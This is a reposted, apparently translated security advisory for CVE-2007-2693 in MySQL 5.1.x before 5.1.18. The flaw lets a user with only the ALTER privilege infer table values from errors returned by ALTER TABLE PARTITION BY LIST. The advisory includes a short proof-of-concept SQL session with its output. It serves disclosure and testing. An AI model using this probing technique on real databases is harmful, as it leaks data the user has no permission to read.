Causes of MySQL Alter Table function Information Leakage

Source: Internet
Author: User
Tags cve

The following articles mainly describe the information related to MySQL Alter Table function leakage. If you are using MySQL Alter Table, you can use the following articles to study it!

Affected Systems:

 
 
  1. MySQL AB MySQL 5.1.x < 5.1.18  

Unaffected system:

 
 
  1. MySQL AB MySQL 5.1.18  

Description: bugtraq id: 24008

CVE (CAN) ID: CVE-2007-2693

MySQL is a widely used open-source relational database system with running versions on various platforms.

The MySQL Alter Table feature has a vulnerability. attackers who log on to the database system with a valid account may exploit this vulnerability to obtain sensitive information related to data tables without authorization.

If you have the ALTER permission on a TABLE, you can use the alter table statement to obtain some sensitive information about the TABLE even if you do not have the SELECT permission. For example, you can run the following command:

 
 
  1. ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  

MySQL returns an error message:

 
 
  1. "Table has no partition for value 18".  

In this way, you can know that columns with column1 = 18 exist.

Test method:

Publish as root user:

 
 
  1. mysql> create table tu (s1 int);   
  2. Query OK, 0 rows affected (0.00 sec)   
  3. mysql> insert into tu values (1);   
  4. Query OK, 1 row affected (0.00 sec)   
  5. mysql> grant alter on tu to molly@localhost;   
  6. Query OK, 0 rows affected (0.01 sec)   
  7.  

Published with molly @ localhost:

 
 
  1. mysql> select * from tu;   
  2. ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   
  3. 'tu'   
  4. mysql> alter table tu partition by list (s1) (partition p1 values in (1));   
  5. Query OK, 1 row affected (0.05 sec)   
  6. Records: 1 Duplicates: 0 Warnings: 0   
  7. mysql> alter table tu partition by list (s1) (partition p1 values in (2));   
  8. ERROR 1513 (HY000): Table has no partition for value 1  

The above content is an introduction to the MySQL Alter Table function Information Leakage vulnerability. I hope you will find some gains.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.